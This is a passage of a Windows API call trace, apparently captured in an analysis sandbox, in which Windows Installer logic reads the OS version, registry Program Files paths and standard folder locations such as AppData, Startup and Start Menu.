[0123.194] lstrlenW (lpString="MSIINSTALLPERUSER") returned 17 [0123.195] lstrlenW (lpString="TRANSFORMS") returned 10 [0123.195] lstrlenW (lpString="PRODUCTLANGUAGE") returned 15 [0123.195] lstrlenW (lpString="SourceDir") returned 9 [0123.196] lstrlenW (lpString="SOURCEDIR") returned 9 [0123.196] memcpy (in: _Dst=0x3ccd20, _Src=0x3ccd2c, _Size=0x54 | out: _Dst=0x3ccd20) returned 0x3ccd20 [0123.196] lstrlenW (lpString="SourcedirProduct") returned 16 [0123.197] lstrlenW (lpString="VersionDatabase") returned 15 [0123.197] SetLastError (dwErrCode=0xd) [0123.197] lstrlenW (lpString="VersionDatabase") returned 15 [0123.197] _vsnwprintf (in: _Buffer=0x10ce9d8, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce9c8 | out: _Buffer="200") returned 3 [0123.197] lstrlenW (lpString="200") returned 3 [0123.197] memcpy (in: _Dst=0x3ccd2c, _Src=0x3ccd20, _Size=0x54 | out: _Dst=0x3ccd2c) returned 0x3ccd2c [0123.197] lstrlenW (lpString="#_FolderCache") returned 13 [0123.197] lstrlenW (lpString="FolderId") returned 8 [0123.198] lstrlenW (lpString="FolderPath") returned 10 [0123.198] GlobalUnlock (hMem=0xf40008) returned 0 [0123.198] GlobalReAlloc (hMem=0xf40008, dwBytes=0x1cc0, uFlags=0x2) returned 0xf40008 [0123.198] GlobalLock (hMem=0xf40008) returned 0x3e90090 [0123.198] memcpy (in: _Dst=0x3e91790, _Src=0x3e91590, _Size=0x540 | out: _Dst=0x3e91790) returned 0x3e91790 [0123.198] GlobalLock (hMem=0xf400b8) returned 0x21008a0 [0123.198] _vsnwprintf (in: _Buffer=0x3c9da0, _BufferCount=0x104, _Format="%d.%02d", _ArgList=0x10ce548 | out: _Buffer="5.00") returned 4 [0123.198] lstrlenW (lpString="5.00") returned 4 [0123.198] lstrlenW (lpString="VersionMsi") returned 10 [0123.198] lstrlenW (lpString="VersionNT") returned 9 [0123.199] _vsnwprintf (in: _Buffer=0x10ce4e8, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce4d8 | out: _Buffer="601") returned 3 [0123.199] lstrlenW (lpString="601") returned 3 [0123.199] lstrlenW (lpString="VersionNT64") returned 11 [0123.199] _vsnwprintf (in: _Buffer=0x10ce4e8, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce4d8 | out: _Buffer="601") returned 3 [0123.199] lstrlenW (lpString="601") returned 3 [0123.199] lstrlenW (lpString="WindowsBuild") returned 12 [0123.199] _vsnwprintf (in: _Buffer=0x10ce4e8, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce4d8 | out: _Buffer="7601") returned 4 [0123.199] lstrlenW (lpString="7601") returned 4 [0123.199] GetVersionExW (in: lpVersionInformation=0x10ce800*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x10ce8f0, dwBuildNumber=0x0, dwPlatformId=0x381d40, szCSDVersion="") | out: lpVersionInformation=0x10ce800*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0123.199] lstrlenW (lpString="ServicePackLevel") returned 16 [0123.199] _vsnwprintf (in: _Buffer=0x10ce4e8, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce4d8 | out: _Buffer="1") returned 1 [0123.199] lstrlenW (lpString="1") returned 1 [0123.199] lstrlenW (lpString="ServicePackLevelMinor") returned 21 [0123.199] _vsnwprintf (in: _Buffer=0x10ce4e8, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce4d8 | out: _Buffer="0") returned 1 [0123.199] lstrlenW (lpString="0") returned 1 [0123.199] lstrlenW (lpString="MsiNTProductType") returned 16 [0123.199] _vsnwprintf (in: _Buffer=0x10ce4e8, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce4d8 | out: _Buffer="1") returned 1 [0123.199] lstrlenW (lpString="1") returned 1 [0123.199] GetSystemWindowsDirectoryW (in: lpBuffer=0x210ca50, uSize=0x105 | out: lpBuffer="C:\\Windows") returned 0xa [0123.199] lstrlenW (lpString="C:\\Windows") returned 10 [0123.199] lstrlenW (lpString="C:\\Windows\\") returned 11 [0123.200] lstrlenW (lpString="WindowsFolder") returned 13 [0123.200] lstrlenW (lpString="C:\\Windows\\") returned 11 [0123.200] lstrlenW (lpString="C:\\Windows\\") returned 11 [0123.200] lstrlenW (lpString="C:") returned 2 [0123.200] lstrlenW (lpString="C:\\") returned 3 [0123.200] lstrlenW (lpString="WindowsVolume") returned 13 [0123.200] GetSystemDirectoryW (in: lpBuffer=0x3c9da0, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0123.200] lstrlenW (lpString="C:\\Windows\\system32") returned 19 [0123.200] lstrlenW (lpString="C:\\Windows\\system32\\") returned 20 [0123.200] lstrlenW (lpString="System64Folder") returned 14 [0123.201] GlobalUnlock (hMem=0xf40038) returned 0 [0123.201] GlobalReAlloc (hMem=0xf40038, dwBytes=0x30c, uFlags=0x2) returned 0xf40038 [0123.201] GlobalLock (hMem=0xf40038) returned 0x3c1740 [0123.201] UrlIsW (pszUrl="C:\\Windows\\system32\\", UrlIs=0x0) returned 0 [0123.201] lstrlenW (lpString="C:\\Windows\\system32\\") returned 20 [0123.201] lstrlenW (lpString="\\") returned 1 [0123.201] lstrlenW (lpString="\\\\") returned 2 [0123.201] wcsstr (_Str="\\Windows\\system32\\", _SubStr="\\\\") returned 0x0 [0123.201] lstrlenW (lpString="Windows") returned 7 [0123.201] lstrlenW (lpString="Windows") returned 7 [0123.201] lstrlenW (lpString="system32") returned 8 [0123.201] lstrlenW (lpString="system32") returned 8 [0123.201] lstrlenW (lpString="\\Windows\\system32\\") returned 18 [0123.201] lstrlenW (lpString="\\Windows\\system32\\") returned 18 [0123.201] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0123.201] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\" (normalized: "c:\\windows\\system32")) returned 0x10 [0123.201] lstrlenW (lpString="SysWOW64") returned 8 [0123.201] lstrlenW (lpString="\\") returned 1 [0123.201] lstrlenW (lpString="\\\\") returned 2 [0123.201] wcsstr (_Str="SysWOW64", _SubStr="\\\\") returned 0x0 [0123.201] lstrlenW (lpString="SysWOW64") returned 8 [0123.201] lstrlenW (lpString="SysWOW64") returned 8 [0123.202] lstrlenW (lpString="\\") returned 1 [0123.202] lstrlenW (lpString="C:\\Windows\\SysWOW64\\") returned 20 [0123.202] lstrlenW (lpString="C:\\Windows\\SysWOW64\\") returned 20 [0123.202] lstrlenW (lpString="SystemFolder") returned 12 [0123.202] GetVersionExW (in: lpVersionInformation=0x10ce3f0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x10ce3f0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0123.202] GetVersionExW (in: lpVersionInformation=0x10ce6e0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x2e7bfc, dwBuildNumber=0x0, dwPlatformId=0x2000002, szCSDVersion="") | out: lpVersionInformation=0x10ce6e0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0123.202] lstrlenW (lpString="RemoteAdminTS") returned 13 [0123.202] _vsnwprintf (in: _Buffer=0x10ce4e8, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce4d8 | out: _Buffer="1") returned 1 [0123.202] lstrlenW (lpString="1") returned 1 [0123.202] GetTempPathW (in: nBufferLength=0x105, lpBuffer=0x3c9da0 | out: lpBuffer="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\") returned 0x25 [0123.202] lstrlenW (lpString="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\") returned 37 [0123.202] lstrlenW (lpString="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\") returned 37 [0123.202] lstrlenW (lpString="TempFolder") returned 10 [0123.203] lstrlenW (lpString="ALLUSERS") returned 8 [0123.203] SetLastError (dwErrCode=0x0) [0123.203] lstrlenW (lpString="MSIINSTALLPERUSER") returned 17 [0123.204] lstrlenW (lpString="HKEY_LOCAL_MACHINE") returned 18 [0123.204] lstrlenW (lpString="32") returned 2 [0123.204] lstrlenW (lpString="\\") returned 1 [0123.204] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion") returned 41 [0123.204] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion", ulOptions=0x0, samDesired=0x20219, phkResult=0x10ce5d8 | out: phkResult=0x10ce5d8*=0x280) returned 0x0 [0123.204] RegQueryValueExW (in: hKey=0x280, lpValueName="ProgramFilesDir (x86)", lpReserved=0x0, lpType=0x0, lpData=0x3c9da0, lpcbData=0x10ce608*=0x20a | out: lpType=0x0, lpData=0x3c9da0*=0x43, lpcbData=0x10ce608*=0x2e) returned 0x0 [0123.204] lstrlenW (lpString="C:\\Program Files (x86)") returned 22 [0123.204] lstrlenW (lpString="C:\\Program Files (x86)\\") returned 23 [0123.204] lstrlenW (lpString="ProgramFilesFolder") returned 18 [0123.205] memcpy (in: _Dst=0x3c1764, _Src=0x3c1758, _Size=0x264 | out: _Dst=0x3c1764) returned 0x3c1764 [0123.205] lstrlenW (lpString="ALLUSERS") returned 8 [0123.205] SetLastError (dwErrCode=0x0) [0123.205] lstrlenW (lpString="MSIINSTALLPERUSER") returned 17 [0123.206] RegQueryValueExW (in: hKey=0x280, lpValueName="CommonFilesDir (x86)", lpReserved=0x0, lpType=0x0, lpData=0x3c9da0, lpcbData=0x10ce608*=0x20a | out: lpType=0x0, lpData=0x3c9da0*=0x43, lpcbData=0x10ce608*=0x48) returned 0x0 [0123.206] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files") returned 35 [0123.206] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\") returned 36 [0123.206] lstrlenW (lpString="CommonFilesFolder") returned 17 [0123.206] lstrlenW (lpString="ALLUSERS") returned 8 [0123.206] SetLastError (dwErrCode=0x0) [0123.206] lstrlenW (lpString="MSIINSTALLPERUSER") returned 17 [0123.207] RegCloseKey (hKey=0x280) returned 0x0 [0123.207] lstrlenW (lpString="HKEY_LOCAL_MACHINE") returned 18 [0123.207] lstrlenW (lpString="64") returned 2 [0123.207] lstrlenW (lpString="\\") returned 1 [0123.207] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion") returned 41 [0123.207] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x10ce5d8 | out: phkResult=0x10ce5d8*=0x280) returned 0x0 [0123.207] RegQueryValueExW (in: hKey=0x280, lpValueName="ProgramFilesDir", lpReserved=0x0, lpType=0x0, lpData=0x3c9da0, lpcbData=0x10ce608*=0x20a | out: lpType=0x0, lpData=0x3c9da0*=0x43, lpcbData=0x10ce608*=0x22) returned 0x0 [0123.207] lstrlenW (lpString="C:\\Program Files") returned 16 [0123.207] lstrlenW (lpString="C:\\Program Files\\") returned 17 [0123.208] lstrlenW (lpString="ProgramFiles64Folder") returned 20 [0123.208] lstrlenW (lpString="ALLUSERS") returned 8 [0123.208] SetLastError (dwErrCode=0x0) [0123.208] lstrlenW (lpString="MSIINSTALLPERUSER") returned 17 [0123.209] RegQueryValueExW (in: hKey=0x280, lpValueName="CommonFilesDir", lpReserved=0x0, lpType=0x0, lpData=0x3c9da0, lpcbData=0x10ce608*=0x20a | out: lpType=0x0, lpData=0x3c9da0*=0x43, lpcbData=0x10ce608*=0x3c) returned 0x0 [0123.209] lstrlenW (lpString="C:\\Program Files\\Common Files") returned 29 [0123.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\") returned 30 [0123.209] lstrlenW (lpString="CommonFiles64Folder") returned 19 [0123.209] RegCloseKey (hKey=0x280) returned 0x0 [0123.209] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0123.209] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0123.209] lstrlenW (lpString="SHELL32") returned 7 [0123.210] GetSystemDirectoryW (in: lpBuffer=0x10cdf60, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0123.210] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\SHELL32.DLL") returned 0x7fefd6f0000 [0123.217] GetProcAddress (hModule=0x7fefd6f0000, lpProcName=0x7fef7ac06f0) returned 0x7fefd773ba4 [0123.217] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0123.218] SHGetFolderPathW (in: hwnd=0x0, csidl=16410, hToken=0x16c, dwFlags=0x0, pszPath=0x10ce2c0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 0x0 [0123.401] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 34 [0123.401] GetLastError () returned 0xcb [0123.401] SetLastError (dwErrCode=0xcb) [0123.401] lstrlenW (lpString="#%") returned 2 [0123.401] lstrlenW (lpString="\\") returned 1 [0123.401] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\") returned 35 [0123.401] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\") returned 35 [0123.401] lstrlenW (lpString="AppDataFolder") returned 13 [0123.402] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\") returned 35 [0123.402] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\") returned 35 [0123.402] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0123.402] SHGetFolderPathW (in: hwnd=0x0, csidl=16390, hToken=0x16c, dwFlags=0x0, pszPath=0x10ce2c0 | out: pszPath="C:\\Users\\kEecfMwgj\\Favorites") returned 0x0 [0123.410] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Favorites") returned 28 [0123.410] GetLastError () returned 0xcb [0123.410] SetLastError (dwErrCode=0xcb) [0123.410] lstrlenW (lpString="#%") returned 2 [0123.410] lstrlenW (lpString="\\") returned 1 [0123.410] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Favorites\\") returned 29 [0123.410] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Favorites\\") returned 29 [0123.411] lstrlenW (lpString="FavoritesFolder") returned 15 [0123.411] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Favorites\\") returned 29 [0123.411] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Favorites\\") returned 29 [0123.411] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0123.411] SHGetFolderPathW (in: hwnd=0x0, csidl=16403, hToken=0x16c, dwFlags=0x0, pszPath=0x10ce2c0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts") returned 0x0 [0123.418] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts") returned 70 [0123.418] GetLastError () returned 0xcb [0123.418] SetLastError (dwErrCode=0xcb) [0123.418] lstrlenW (lpString="#%") returned 2 [0123.418] lstrlenW (lpString="\\") returned 1 [0123.418] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\") returned 71 [0123.418] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\") returned 71 [0123.418] lstrlenW (lpString="NetHoodFolder") returned 13 [0123.418] GlobalUnlock (hMem=0xf40008) returned 0 [0123.418] GlobalReAlloc (hMem=0xf40008, dwBytes=0x21c0, uFlags=0x2) returned 0xf40008 [0123.419] GlobalLock (hMem=0xf40008) returned 0x3e90090 [0123.419] memcpy (in: _Dst=0x3e91b90, _Src=0x3e91790, _Size=0x5c0 | out: _Dst=0x3e91b90) returned 0x3e91b90 [0123.419] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\") returned 71 [0123.419] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\") returned 71 [0123.420] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0123.420] SHGetFolderPathW (in: hwnd=0x0, csidl=16389, hToken=0x16c, dwFlags=0x0, pszPath=0x10ce2c0 | out: pszPath="C:\\Users\\kEecfMwgj\\Documents") returned 0x0 [0123.426] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents") returned 28 [0123.426] GetLastError () returned 0xcb [0123.426] SetLastError (dwErrCode=0xcb) [0123.426] lstrlenW (lpString="#%") returned 2 [0123.426] lstrlenW (lpString="\\") returned 1 [0123.426] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\") returned 29 [0123.426] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\") returned 29 [0123.426] lstrlenW (lpString="PersonalFolder") returned 14 [0123.427] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\") returned 29 [0123.427] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\") returned 29 [0123.427] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0123.427] SHGetFolderPathW (in: hwnd=0x0, csidl=16411, hToken=0x16c, dwFlags=0x0, pszPath=0x10ce2c0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned 0x0 [0123.433] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned 70 [0123.433] GetLastError () returned 0xcb [0123.434] SetLastError (dwErrCode=0xcb) [0123.434] lstrlenW (lpString="#%") returned 2 [0123.434] lstrlenW (lpString="\\") returned 1 [0123.434] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\") returned 71 [0123.434] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\") returned 71 [0123.434] lstrlenW (lpString="PrintHoodFolder") returned 15 [0123.482] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\") returned 71 [0123.482] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\") returned 71 [0123.482] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0123.482] SHGetFolderPathW (in: hwnd=0x0, csidl=16392, hToken=0x16c, dwFlags=0x0, pszPath=0x10ce2c0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 0x0 [0123.488] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 59 [0123.489] GetLastError () returned 0xcb [0123.489] SetLastError (dwErrCode=0xcb) [0123.489] lstrlenW (lpString="#%") returned 2 [0123.489] lstrlenW (lpString="\\") returned 1 [0123.489] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned 60 [0123.489] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned 60 [0123.489] lstrlenW (lpString="RecentFolder") returned 12 [0123.489] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned 60 [0123.489] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned 60 [0123.489] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0123.489] SHGetFolderPathW (in: hwnd=0x0, csidl=16393, hToken=0x16c, dwFlags=0x0, pszPath=0x10ce2c0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\SendTo") returned 0x0 [0123.495] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\SendTo") returned 59 [0123.495] GetLastError () returned 0xcb [0123.495] SetLastError (dwErrCode=0xcb) [0123.495] lstrlenW (lpString="#%") returned 2 [0123.495] lstrlenW (lpString="\\") returned 1 [0123.496] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\") returned 60 [0123.496] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\") returned 60 [0123.496] lstrlenW (lpString="SendToFolder") returned 12 [0123.496] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\") returned 60 [0123.496] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\") returned 60 [0123.496] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0123.496] SHGetFolderPathW (in: hwnd=0x0, csidl=16405, hToken=0x16c, dwFlags=0x0, pszPath=0x10ce2c0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Templates") returned 0x0 [0123.503] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Templates") returned 62 [0123.503] GetLastError () returned 0xcb [0123.503] SetLastError (dwErrCode=0xcb) [0123.503] lstrlenW (lpString="#%") returned 2 [0123.503] lstrlenW (lpString="\\") returned 1 [0123.503] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\") returned 63 [0123.503] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\") returned 63 [0123.503] lstrlenW (lpString="TemplateFolder") returned 14 [0123.503] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\") returned 63 [0123.503] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\") returned 63 [0123.503] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0123.503] SHGetFolderPathW (in: hwnd=0x0, csidl=16419, hToken=0x16c, dwFlags=0x0, pszPath=0x10ce2c0 | out: pszPath="C:\\ProgramData") returned 0x0 [0123.505] lstrlenW (lpString="C:\\ProgramData") returned 14 [0123.505] GetLastError () returned 0x0 [0123.505] SetLastError (dwErrCode=0x0) [0123.505] lstrlenW (lpString="#%") returned 2 [0123.505] lstrlenW (lpString="\\") returned 1 [0123.505] lstrlenW (lpString="C:\\ProgramData\\") returned 15 [0123.505] lstrlenW (lpString="C:\\ProgramData\\") returned 15 [0123.505] lstrlenW (lpString="CommonAppDataFolder") returned 19 [0123.505] GlobalUnlock (hMem=0xf40038) returned 0 [0123.505] GlobalReAlloc (hMem=0xf40038, dwBytes=0x42c, uFlags=0x2) returned 0xf40038 [0123.505] GlobalLock (hMem=0xf40038) returned 0x362190 [0123.505] lstrlenW (lpString="C:\\ProgramData\\") returned 15 [0123.505] lstrlenW (lpString="C:\\ProgramData\\") returned 15 [0123.506] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0123.506] SHGetFolderPathW (in: hwnd=0x0, csidl=16412, hToken=0x16c, dwFlags=0x0, pszPath=0x10ce2c0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Local") returned 0x0 [0123.512] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local") returned 32 [0123.512] GetLastError () returned 0xcb [0123.512] SetLastError (dwErrCode=0xcb) [0123.512] lstrlenW (lpString="#%") returned 2 [0123.512] lstrlenW (lpString="\\") returned 1 [0123.512] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\") returned 33 [0123.512] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\") returned 33 [0123.512] lstrlenW (lpString="LocalAppDataFolder") returned 18 [0123.512] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\") returned 33 [0123.512] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\") returned 33 [0123.512] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0123.512] SHGetFolderPathW (in: hwnd=0x0, csidl=16423, hToken=0x16c, dwFlags=0x0, pszPath=0x10ce2c0 | out: pszPath="C:\\Users\\kEecfMwgj\\Pictures") returned 0x0 [0123.561] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Pictures") returned 27 [0123.561] GetLastError () returned 0xcb [0123.562] SetLastError (dwErrCode=0xcb) [0123.562] lstrlenW (lpString="#%") returned 2 [0123.562] lstrlenW (lpString="\\") returned 1 [0123.562] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Pictures\\") returned 28 [0123.562] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Pictures\\") returned 28 [0123.562] lstrlenW (lpString="MyPicturesFolder") returned 16 [0123.562] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Pictures\\") returned 28 [0123.562] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Pictures\\") returned 28 [0123.562] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0123.562] SHGetFolderPathW (in: hwnd=0x0, csidl=16431, hToken=0x16c, dwFlags=0x0, pszPath=0x10ce2c0 | out: pszPath="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools") returned 0x0 [0123.574] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools") returned 73 [0123.574] GetLastError () returned 0xcb [0123.574] SetLastError (dwErrCode=0xcb) [0123.574] lstrlenW (lpString="#%") returned 2 [0123.575] lstrlenW (lpString="\\") returned 1 [0123.575] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\") returned 74 [0123.575] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\") returned 74 [0123.575] lstrlenW (lpString="AdminToolsFolder") returned 16 [0123.575] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\") returned 74 [0123.575] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\") returned 74 [0123.575] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0123.575] SHGetFolderPathW (in: hwnd=0x0, csidl=16408, hToken=0x16c, dwFlags=0x0, pszPath=0x10ce2c0 | out: pszPath="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x0 [0123.581] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 60 [0123.581] GetLastError () returned 0xcb [0123.581] SetLastError (dwErrCode=0xcb) [0123.581] lstrlenW (lpString="#%") returned 2 [0123.581] lstrlenW (lpString="\\") returned 1 [0123.581] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\") returned 61 [0123.581] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\") returned 61 [0123.581] lstrlenW (lpString="StartupFolder") returned 13 [0123.582] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\") returned 61 [0123.582] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\") returned 61 [0123.582] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0123.582] SHGetFolderPathW (in: hwnd=0x0, csidl=16407, hToken=0x16c, dwFlags=0x0, pszPath=0x10ce2c0 | out: pszPath="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned 0x0 [0123.588] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned 52 [0123.588] GetLastError () returned 0xcb [0123.588] SetLastError (dwErrCode=0xcb) [0123.588] lstrlenW (lpString="#%") returned 2 [0123.588] lstrlenW (lpString="\\") returned 1 [0123.588] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned 53 [0123.588] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned 53 [0123.588] lstrlenW (lpString="ProgramMenuFolder") returned 17 [0123.589] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned 53 [0123.589] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned 53 [0123.589] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0123.589] SHGetFolderPathW (in: hwnd=0x0, csidl=16406, hToken=0x16c, dwFlags=0x0, pszPath=0x10ce2c0 | out: pszPath="C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned 0x0 [0123.611] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned 43 [0123.611] 